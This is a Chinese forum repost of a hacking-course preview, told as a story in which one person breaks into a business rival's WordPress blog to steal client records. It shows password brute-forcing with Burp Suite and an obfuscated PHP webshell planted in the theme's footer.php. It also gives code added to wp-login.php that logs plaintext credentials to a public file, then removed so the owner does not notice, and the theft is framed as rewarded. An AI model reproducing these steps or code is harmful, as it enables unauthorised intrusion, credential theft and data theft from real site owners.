搜索

[26737] 2021-06-25_暗月培训2021部分试看视频

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-19
2021-06-25_暗月培训2021部分试看视频 暗 月 培 训 2 0 2 1 部 分 试 看 视 频 原 创   m o o n s e c   m o o n s e c   2 0 2 1 - 0 6 - 2 5 暗 月 培 训 暗 月 培 训 2 0 2 1 部 分 试 看 视 频 部 分 试 看 视 频 1 小 黑 与 小 白 的 故 事 一 小 黑 与 小 白 的 故 事 一 破 解 某 网 站 后 台 破 解 某 网 站 后 台 作 者 m o o n s e c 课 程 方 便 新 手 理 解 ， 以 故 事 的 形 式 场 景 和 技 术 细 节 ， 试 看 课 程 相 对 比 较 简 单 小 白 与 小 黑 是 同 是 一 个 行 业 ， 小 白 是 金 属 行 业 的 操 盘 手 ， 小 黑 知 道 小 白 在 这 个 行 业 很 有 知 名 度 ， 也 很 羡 慕 它 有 众 多 行 业 的 客 户 资 料 ， 每 年 都 为 其 公 司 带 了 很 多 盈 利 。 有 一 天 在 行 业 会 议 中 ， 小 黑 结 识 了 小 白 公 司 里 的 小 红 ， 小 红 对 小 白 很 熟 悉 ， 小 黑 与 小 红 的 日 常 交 流 中 ， 得 知 小 白 喜 欢 到 w w w . c n 2 2 i t . c o m 这 个 博 客 里 整 理 资 料 ， 并 且 到 会 把 客 户 资 料 存 放 到 这 个 博 客 上 数 天 。 小 黑 在 浏 览 这 个 博 客 的 时 候 ， 发 现 博 客 文 章 均 不 对 外 阅 读 ， 需 要 登 录 后 台 才 能 够 观 看 。 小 黑 以 前 学 习 过 W E B 安 全 技 术 ， 对 穷 举 密 码 一 直 颇 有 研 究 , 整 理 了 常 用 的 破 解 密 码 字 典 后 ， 小 黑 决 定 用 b u r p s u i t e 工 具 对 网 站 的 后 台 密 码 进 行 破 解 h t t p : / / w w w . c c 2 2 i t . c o m / w p - l o g i n . p h p ? l o g g e d o u t = t r u e & w p _ l a n g = z h _ C N 首 先 下 载 火 狐 浏 览 器 插 件 F o x y P r o x y   扩 展 搜 索   F o x y P r o x y h t t p s : / / a d d o n s . m o z i l l a . o r g / z h - C N / f i r e f o x / s e a r c h / ? q = F o x y P r o x y % 2 0 下 载 即 可 接 着 设 置 h t t p 代 理 1 2 7 . 0 . 0 . 1 端 口 是 8 0 8 0 打 开 b u r p s u i t e 抓 包 发 送 i n t r u d e r 密 码 设 置 为 变 量
选 择 p a y l o a d 设 置 字 典 文 件 设 置 3 0 2 跟 踪 开 始 攻 击 查 看 页 面 获 取 密 码 看 到 页 面 长 度 是 9 1 8 3 而 且 显 示 r e d i r e c t s 那 么 密 码 就 是 5 2 0 1 3 1 4 登 录 后 台 查 看 文 章
至 此 小 黑 拿 到 小 白 一 些 客 户 资 料 了 。 小 黑 很 庆 幸 以 前 学 习 过 W E B 安 全 技 术 ， 没 想 到 现 在 居 然 可 以 用 上 。 问 题 问 题 1 为 什 么 要 设 置 代 理 ？ 为 什 么 要 设 置 代 理 ？ 在 使 用 b u r p s u i t e 这 个 工 具 时 候 ， 会 起 到 h t t p 代 理 的 作 用 默 认 使 用 是 1 2 7 . 0 . 0 . 1 8 0 8 0 ， 假 如 浏 览 器 设 置 代 理 是 b u r p s u i t e 的 1 2 7 . 0 . 0 . 1   8 0 8 0 端 口 ， 那 么 b u r p s u i t e 会 拦 截 浏 览 器 发 出 的 请 求 包 ， 并 对 h t t p 请 求 包 进 行 修 改 ， 再 提 交 到 服 务 器 里 ， 远 程 服 务 器 处 理 这 些 包 响 应 返 回 内 容 。 问 题 问 题 2 b u r p s u i t e 是 什 么 ？ 是 什 么 ？ B u r p   S u i t e   是 用 于 攻 击 w e b 应 用 程 序 的 集 成 平 台 ， 包 含 了 许 多 工 具 。 B u r p S u i t e 为 这 些 工 具 设 计 了 许 多 接 口 ， 以 加 快 攻 击 应 用 程 序 的 过 程 。 所 有 工 具 都 共 享 一 个 请 求 ， 并 能 处 理 对 应 的 H T T P 消 息 、 持 久 性 、 认 证 、 代 理 、 日 志 、 警 报 问 题 问 题 3 用 用 V M w a r e 打 开 启 动 靶 场 后 为 什 么 要 绑 定 打 开 启 动 靶 场 后 为 什 么 要 绑 定 d n s 首 先 d n s 服 务 是 用 来 解 析 域 名 指 向 的 ， 如 果 没 有 指 定 d n s 服 务 器 ， 就 使 用 公 网 上 的 d n s 服 务 ， 如 果 要 访 问 的 域 名 在 公 网 上 没 有 注 册 ， 就 不 存 在 的 。 如 果 是 自 定 义 d n s 服 务 器 ， 在 机 上 绑 定 自 定 义 d n s ， 在 指 定 的 d n s 服 务 里 ， 设 置 了 域 名 和 i p ， 就 会 优 先 访 问 这 个 域 名 。 2 小 黑 与 小 白 的 故 事 二 小 黑 与 小 白 的 故 事 二 获 取 网 站 控 制 权 限 获 取 网 站 控 制 权 限 此 后 小 黑 每 隔 一 段 时 间 就 来 访 问 这 个 博 客 的 后 台 ， 获 取 小 白 客 户 的 资 料 。 但 是 在 最 近 一 次 登 录 网 站 后 台 ， 发 现 原 来 的 密 码 登 录 不 上 了 。 小 黑 猜 小 白 应 该 修 改 了 密 码 。 小 黑 再 次 拿 起 b u r p s u i t e 对 网 站 后 台 进 行 穷 举 ， 很 幸 运 再 一 次 拿 到 小 白 的 密 码 ， 并 登 录 了 后 台 。 小 黑 觉 得 如 果 每 次 小 白 都 修 改 密 码 ， 每 一 次 都 要 穷 举 ， 但 是 不 一 定 每 次 都 能 成 功 ， 最 好 是 长 期 控 制 这 个 网 站 。 不 管 小 白 修 改 多 少 次 密 码 ， 小 黑 都 登 录 。 小 黑 曾 经 了 解 过 w e b s h e l l w e b s h e l l 是 可 以 控 制 网 站 的 。 但 是 怎 么 才 有 w e b s h e l l 尼 ？ 小 黑 问 了 安 全 行 业 的 老 师 傅 们 ， 有 位 老 哥 告 诉 他 首 先   确 定 当 前 网 站 是 什 么 类 型 ， 去 搜 索 引 擎 搜 索 拿 这 个 系 统 的 拿 w e b s h e l l 的 方 法 ， 小 黑 查 阅 了 相 关 资 料 ， 获 取 当 前 网 站 的 w e b s h e l l 的 途 径 ， 一 般 是 通 过 修 改 模 板 ， 插 入 一 句 w e b 后 门 ， 用 a n t s w o r d （ 网 站 文 件 管 理 工 具 ） 填 写 u r l 和 密 码 ， 连 接 上 后 就 有 了 w e b s h e l l ， 有 了 w e b s h e l l 以 后 就 能 对 网 站 进 行 长 期 控 制 。 登 录 后 台 后 选 择 主 题   外 观   选 择 f o o t e r . p h p 编 辑 主 题 填 入 a n t s w o r d 生 成 的 后 门 代 码 < ? p h p   $ t u H p = c r e a t e _ f u n c t i o n ( c h r ( 0 1 5 1 5 - 0 1 4 5 1 ) . b a s e 6 4 _ d e c o d e ( ' c w = = ' ) . c h r ( 0 1 3 6 0 5 6 / 0 6 6 2 ) . b a s e 6 4 _ d e c o d e ( ' b Q = = ' ) . c h r ( 0 x 3 4 3 - 0 x 2 d e ) , c h r ( 7 5 7 5 0 / 7 5 0 ) . s t r _ r o t 1 3 ( ' i ' ) . c h r ( 0 x d a a 1 / 0 x 2 4 1 ) . c h r (
h t t p : / / w w w . c c 2 2 i t . c o m / w p - c o n t e n t / t h e m e s / t w e n t y t w e n t y / f o o t e r . p h p 密 码 c m d 填 写 u r l 和 密 码 c m d 即 可 可 以 看 到 网 站 整 个 目 录 了 。 这 个 时 候 小 黑 已 经 拥 有 了 w e b s h e l l 了 。 问 题 问 题 1 w e b s h e l l 是 什 么 ？ 是 什 么 ？ w e b s h e l l 就 是 以 a s p 、 p h p 、 j s p 或 者 c g i 等 网 页 文 件 形 式 存 在 的 一 种 代 码 执 行 环 境 ， 主 要 用 于 网 站 管 理 、 服 务 器 管 理 、 权 限 管 理 等 操 作 。 使 用 方 法 简 单 ， 只 需 上 传 一 个 代 码 文 件 ， 通 过 网 址 访 问 ， 便 可 进 行 很 多 日 常 操 作 ， 极 大 地 方 便 了 使 用 者 对 网 站 和 服 务 器 的 管 理 。 正 因 如 此 ， 也 有 小 部 分 人 将 代 码 修 改 后 当 作 后 门 程 序 使 用 ， 以 达 到 控 制 网 站 服 务 器 的 目 的 。 问 题 问 题 2 a n t s w o r d 是 什 么 ？ 是 什 么 ？ 中 国 蚁 剑 是 一 款 开 源 的 跨 平 台 网 站 管 理 工 具 ， 它 主 要 面 向 于 合 法 授 权 的 渗 透 测 试 安 全 人 员 以 及 进 行 常 规 操 作 的 网 站 管 理 员 。 b u r p s u i t e 的 安 装 使 用 h t t p s : / / w w w . b i l i b i l i . c o m / v i d e o / B V 1 F B 4 y 1 A 7 z x 3 小 黑 与 小 白 的 故 事 三 小 黑 与 小 白 的 故 事 三 记 录 后 台 登 陆 明 文 记 录 后 台 登 陆 明 文         通 过 上 面 的 操 作 ， 小 黑 成 功 的 拿 到 小 白 博 客 网 站 的 w e b s h e l l ， 并 且 每 隔 一 段 时 间 就 去 盗 取 小 白 的 客 户 资 料 。 小 黑 所 在 的 公 司 的 业 务 水 平 得 到 很 大 的 提 升 ， 公 司 最 近 盈 利 颇 盛 。 小 黑 作 为 业 务 经 理 ， 也 得 到 老 板 的 赏 识 ， 而 且 薪 酬 也 提 升 了 。 但 是 最 近 小 白 感 觉 客 户 那 边 异 常 ， 而 且 最 近 从 客 户 口 里 听 说 ， 经 常 有 同 行 电 话 骚 扰 他 们 ， 小 白 感 很 奇 怪 ， 客 户 资 料 应 该 都 在 我 手 ， 资 料 信 息 都 是 保 密 的 ， 而 且 一 直 都 有 盈 利 ， 客 户 不 会 是 找 其 他 人 操 盘 ， 小 白 越 想 越 不 对 劲 。 于 是 乎 在 博 客 的 客 户 资 料 处 添 加 了 自 己 的 手 机 号 码 和 姓 名 ， 并 修 改 了 博 客 的 后 台 密 码 ， 还 设 置 了 一 个 高 强 度 的 密 码 。     之 后 过 了 几 天 ， 小 黑 登 录 小 白 网 站 的 后 台 ， 又 发 现 密 码 不 对 了 ， 猜 想 小 白 又 改 了 密 码 ， 这 次 b u r p s u i t e 穷 举 密 码 失 败 了 。 小 黑 猜 想 ， 这 次 密 码 应 该 改 得 挺 复 杂 的 。 幸 亏 小 黑 早 拥 有 了 这 个 网 站 的 w e b s h e l l ， 所 以 可 以 在 a n t s w o r d 里 面 对 网 站 进 行 操 作 。 小 黑 打 开 数 据 库 配 置 文 件 c o n f i g . p h p 里 面 存 放 着 当 前 数 据 库 的 账 号 和 密 码 。 在 a n t s w o r d 有 个 数 据 库 管 理 的 功 能 ， 填 写 正 确 的 数 据 库 账 号 和 密 码 就 能 查 阅 网 站 后 台 的 登 录 账 号 和 密 码 。
小 黑 连 接 上 数 据 库 但 是 存 放 的 密 码 是 密 文 ， 虽 然 这 种 密 文 可 以 用 破 解 ， 但 是 也 只 能 破 解 密 码 强 度 弱 的 密 码 。 小 黑 询 问 了 群 里 的 老 师 傅 ， 老 师 傅 告 诉 他 ， 最 好 的 是 后 台 用 户 登 录 时 ， 就 把 它 的 密 码 记 录 下 来 。 小 黑 采 用 了 老 师 傅 的 方 案 。 小 黑 学 过 开 发 ， 编 写 这 些 小 脚 本 根 本 不 是 什 么 问 题 。 小 黑 打 开 了 w p - l o g i n . p h p 文 件 里 第 5 3 8 行 加 上 这 段 代 码 $ l o g _ u s e r = $ _ P O S T [ ' l o g ' ] ;   $ l o g _ p w d = $ _ P O S T [ ' p w d ' ] ;     $ l o g _ i p = $ _ S E R V E R [ " R E M O T E _ A D D R " ] ;   $ t x t = $ l o g _ u s e r . ' | ' . $ l o g _ p w d . ' | ' . $ l o g _ i p ;     $ t x t = $ t x t . " r n " ;   i f ( $ l o g _ u s e r & & $ l o g _ p w d & & $ l o g _ i p ) {           @ f w r i t e ( f o p e n ( ' p . t x t ' , " a + " ) , $ t x t ) ; } 保 存 之 后 ， 就 等 待 小 白 登 录 后 台 了 。 过 去 了 一 个 小 时 ， 小 白 登 录 了 后 台 ， 密 码 就 生 成 在 网 站 根 目 录 的 p . t x t 里 ， 小 黑 晚 上 访 问 h t t p : / / w w w . c c 2 2 i t . c o m / p . t x t 得 到 了 小 白 的 最 新 的 登 录 密 码 。 小 黑 得 到 正 确 密 码 之 后 ， 也 获 取 小 白 最 新 得 客 户 资 料 。 小 黑 得 到 密 码 之 后 把 p . t x t 删 除 了 。 也 把 w p - l o g i n . p h p 恢 复 好 了 。 问 题 一 为 什 么 要 记 录 后 台 登 陆 明 文 ？ 问 题 一 为 什 么 要 记 录 后 台 登 陆 明 文 ？ 因 为 很 多 的 程 序 后 台 密 码 都 会 进 行 加 密 ， 而 且 不 能 解 密 成 明 文 ， 所 以 修 改 源 代 码 就 可 以 把 记 录 登 陆 时 的 明 文 ， 在 明 文 加 密 之 前 把 它 记 录 下 来 ， 小 黑 就 能 获 取 明 文 了 。 问 题 二 为 什 么 记 录 成 功 后 还 要 把 源 码 修 改 回 来 ？ 问 题 二 为 什 么 记 录 成 功 后 还 要 把 源 码 修 改 回 来 ？ 成 功 记 录 密 码 后 ， 要 把 源 代 码 修 改 回 来 ， 为 了 不 容 易 被 小 白 发 现 ， 在 排 查 的 时 ， 可 能 会 发 现 源 码 被 篡 改 导 致 小 白 不 再 使 用 该 系 统 。 4 课 程 在 线 观 看 课 程 在 线 观 看 h t t p s : / / w w w . b i l i b i l i . c o m / v i d e o / B V 1 5 y 4 y 1 M 7 o i
靶 场 和 工 具   文 章 下 载 链 接 ： h t t p s : / / p a n . b a i d u . c o m / s / 1 z a q 7 x I b q G a l 6 k F e 3 x z t t U w   提 取 码 ： 1 9 g k 5 关 注 公 众 号 关 注 公 众 号 公 众 号 不 定 期 更 新 文 章 和 视 频   欢 迎 前 来 关 注 需 要 培 训 的 添 加 暗 月 微 信
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理